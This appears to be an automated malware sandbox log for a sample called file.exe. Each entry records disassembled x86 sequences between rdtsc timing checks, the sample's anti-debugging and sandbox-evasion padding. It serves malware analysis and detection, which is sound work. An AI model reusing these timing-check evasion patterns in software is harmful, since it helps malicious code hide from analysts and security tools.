Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5987E6 second address: 5987EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5987EC second address: 5987F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5987F0 second address: 5987F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5998D3 second address: 5998D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5998D9 second address: 5998FF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8EA84FC128h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8EA84FC137h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A9BB second address: 59AA1E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnc 00007F8EA8EA37DEh 0x0000000e nop 0x0000000f push 00000000h 0x00000011 or edi, 0FE8D0EAh 0x00000017 add dword ptr [ebp+122D2AD8h], eax 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ebx 0x00000022 call 00007F8EA8EA37D8h 0x00000027 pop ebx 0x00000028 mov dword ptr [esp+04h], ebx 0x0000002c add dword ptr [esp+04h], 0000001Bh 0x00000034 inc ebx 0x00000035 push ebx 0x00000036 ret 0x00000037 pop ebx 0x00000038 ret 0x00000039 jg 00007F8EA8EA37D6h 0x0000003f pushad 0x00000040 stc 0x00000041 mov dword ptr [ebp+122D2C70h], eax 0x00000047 popad 0x00000048 push eax 0x00000049 jnp 00007F8EA8EA37F1h 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DF6C second address: 59DF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DF70 second address: 59DF74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DF74 second address: 59DF7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DF7C second address: 59DF85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DF85 second address: 59DF8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7C1F second address: 5A7C25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7C25 second address: 5A7C2A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7C2A second address: 5A7C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8EA8EA37DAh 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54137D second address: 541381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541381 second address: 5413AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 jc 00007F8EA8EA381Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F8EA8EA37E9h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A733A second address: 5A7367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8EA84FC133h 0x00000009 jmp 00007F8EA84FC133h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7367 second address: 5A7398 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E7h 0x00000007 jmp 00007F8EA8EA37E1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7398 second address: 5A739C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A74C9 second address: 5A74CE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A765C second address: 5A7680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8EA84FC12Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8EA84FC12Dh 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A77E1 second address: 5A77F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F8EA8EA37D6h 0x0000000a jns 00007F8EA8EA37D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B30AB second address: 5B30AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B30AF second address: 5B30EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8EA8EA37DBh 0x0000000b js 00007F8EA8EA37DEh 0x00000011 pushad 0x00000012 popad 0x00000013 jnc 00007F8EA8EA37D6h 0x00000019 popad 0x0000001a pushad 0x0000001b jmp 00007F8EA8EA37E6h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B30EA second address: 5B30EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B30EE second address: 5B30F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B30F2 second address: 5B3106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8EA84FC12Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2AA5 second address: 5B2AD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E7h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8EA8EA37E3h 0x0000000e jo 00007F8EA8EA37D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2C29 second address: 5B2C49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC138h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2C49 second address: 5B2C59 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F8EA8EA37D6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2C59 second address: 5B2C5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2EFC second address: 5B2F00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2F00 second address: 5B2F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53566D second address: 535688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F8EA8EA37E5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB501 second address: 5BB505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB505 second address: 5BB51C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8EA8EA37D6h 0x00000008 jmp 00007F8EA8EA37DAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB7D7 second address: 5BB80B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jmp 00007F8EA84FC12Bh 0x0000000c pop eax 0x0000000d pushad 0x0000000e jns 00007F8EA84FC12Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8EA84FC130h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB80B second address: 5BB820 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB820 second address: 5BB82E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F8EA84FC12Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB970 second address: 5BB976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB976 second address: 5BB97C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBED3 second address: 5BBED7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBED7 second address: 5BBEF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8EA84FC132h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBEF2 second address: 5BBF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8EA8EA37DAh 0x00000009 ja 00007F8EA8EA37D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC21E second address: 5BC22E instructions: 0x00000000 rdtsc 0x00000002 js 00007F8EA84FC126h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC22E second address: 5BC232 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC232 second address: 5BC240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F8EA84FC12Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC240 second address: 5BC248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C1EAC second address: 5C1EC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC12Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push esi 0x0000000d pop esi 0x0000000e jc 00007F8EA84FC126h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C1EC9 second address: 5C1ECE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C1ECE second address: 5C1EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8EA84FC132h 0x00000009 popad 0x0000000a jc 00007F8EA84FC128h 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C1EF4 second address: 5C1EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C1EFA second address: 5C1EFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0B1D second address: 5C0B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0B21 second address: 5C0B3D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 jmp 00007F8EA84FC132h 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0B3D second address: 5C0B4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37DDh 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0C9E second address: 5C0CAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8EA84FC12Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0F6D second address: 5C0F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0F71 second address: 5C0F7E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8EA84FC126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C13F2 second address: 5C1409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F8EA8EA37E2h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C1409 second address: 5C142A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jl 00007F8EA84FC126h 0x00000009 pop ebx 0x0000000a push edx 0x0000000b jmp 00007F8EA84FC12Dh 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ecx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C142A second address: 5C143D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8EA8EA37DDh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C174A second address: 5C174E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569D10 second address: 569D23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F8EA8EA37DAh 0x0000000c push esi 0x0000000d pop esi 0x0000000e push esi 0x0000000f pop esi 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569D23 second address: 569D3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pushad 0x00000009 push ecx 0x0000000a jnc 00007F8EA84FC126h 0x00000010 jnc 00007F8EA84FC126h 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C32D second address: 53C337 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8EA8EA37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C337 second address: 53C33C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5804F5 second address: 569191 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8EA8EA37DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop edx 0x00000010 jp 00007F8EA8EA37E3h 0x00000016 popad 0x00000017 nop 0x00000018 sub dword ptr [ebp+122D35FFh], ecx 0x0000001e lea eax, dword ptr [ebp+124842BFh] 0x00000024 call 00007F8EA8EA37E5h 0x00000029 mov dword ptr [ebp+122D31CFh], edx 0x0000002f pop edi 0x00000030 nop 0x00000031 push ecx 0x00000032 jnc 00007F8EA8EA37D8h 0x00000038 pop ecx 0x00000039 push eax 0x0000003a pushad 0x0000003b jmp 00007F8EA8EA37E8h 0x00000040 je 00007F8EA8EA37DCh 0x00000046 jnc 00007F8EA8EA37D6h 0x0000004c popad 0x0000004d nop 0x0000004e mov dx, cx 0x00000051 call dword ptr [ebp+12467E93h] 0x00000057 pushad 0x00000058 jmp 00007F8EA8EA37DEh 0x0000005d push eax 0x0000005e pushad 0x0000005f popad 0x00000060 pushad 0x00000061 popad 0x00000062 pop eax 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 pop eax 0x00000067 jg 00007F8EA8EA37D6h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5691AC second address: 5691B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580759 second address: 58075F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580AEB second address: 3CFC5D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8EA84FC126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F8EA84FC128h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov edi, eax 0x00000028 push dword ptr [ebp+122D01B5h] 0x0000002e adc di, 24F7h 0x00000033 call dword ptr [ebp+122D2B3Dh] 0x00000039 pushad 0x0000003a jnp 00007F8EA84FC133h 0x00000040 xor eax, eax 0x00000042 cmc 0x00000043 mov edx, dword ptr [esp+28h] 0x00000047 sub dword ptr [ebp+122D2AA9h], edi 0x0000004d mov dword ptr [ebp+122D37D9h], eax 0x00000053 mov dword ptr [ebp+122D2AF6h], ebx 0x00000059 mov esi, 0000003Ch 0x0000005e jns 00007F8EA84FC127h 0x00000064 cld 0x00000065 add esi, dword ptr [esp+24h] 0x00000069 ja 00007F8EA84FC13Eh 0x0000006f lodsw 0x00000071 pushad 0x00000072 jmp 00007F8EA84FC12Fh 0x00000077 or di, 6EBEh 0x0000007c popad 0x0000007d add eax, dword ptr [esp+24h] 0x00000081 stc 0x00000082 mov ebx, dword ptr [esp+24h] 0x00000086 jc 00007F8EA84FC136h 0x0000008c push eax 0x0000008d pushad 0x0000008e push eax 0x0000008f push edx 0x00000090 push eax 0x00000091 push edx 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580CD3 second address: 580CD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580CD7 second address: 580CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], esi 0x0000000a jmp 00007F8EA84FC131h 0x0000000f push eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580D65 second address: 580D6F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8EA8EA37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5813A5 second address: 58140B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F8EA84FC12Ch 0x0000000e jp 00007F8EA84FC12Ch 0x00000014 popad 0x00000015 nop 0x00000016 jnc 00007F8EA84FC12Bh 0x0000001c push 0000001Eh 0x0000001e push 00000000h 0x00000020 push eax 0x00000021 call 00007F8EA84FC128h 0x00000026 pop eax 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b add dword ptr [esp+04h], 0000001Bh 0x00000033 inc eax 0x00000034 push eax 0x00000035 ret 0x00000036 pop eax 0x00000037 ret 0x00000038 mov dword ptr [ebp+122D2A9Ch], esi 0x0000003e nop 0x0000003f push ecx 0x00000040 push eax 0x00000041 push ebx 0x00000042 pop ebx 0x00000043 pop eax 0x00000044 pop ecx 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58140B second address: 58140F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5817C0 second address: 5817D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8EA84FC133h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5817D7 second address: 581820 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push ecx 0x0000000b jnc 00007F8EA8EA37D6h 0x00000011 pop ecx 0x00000012 pop ebx 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F8EA8EA37D8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e lea eax, dword ptr [ebp+12484303h] 0x00000034 mov dword ptr [ebp+1244F7B3h], edi 0x0000003a nop 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e push ecx 0x0000003f pop ecx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581820 second address: 581824 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581824 second address: 581845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F8EA8EA37E8h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581845 second address: 581850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581850 second address: 58185E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 js 00007F8EA8EA37D6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
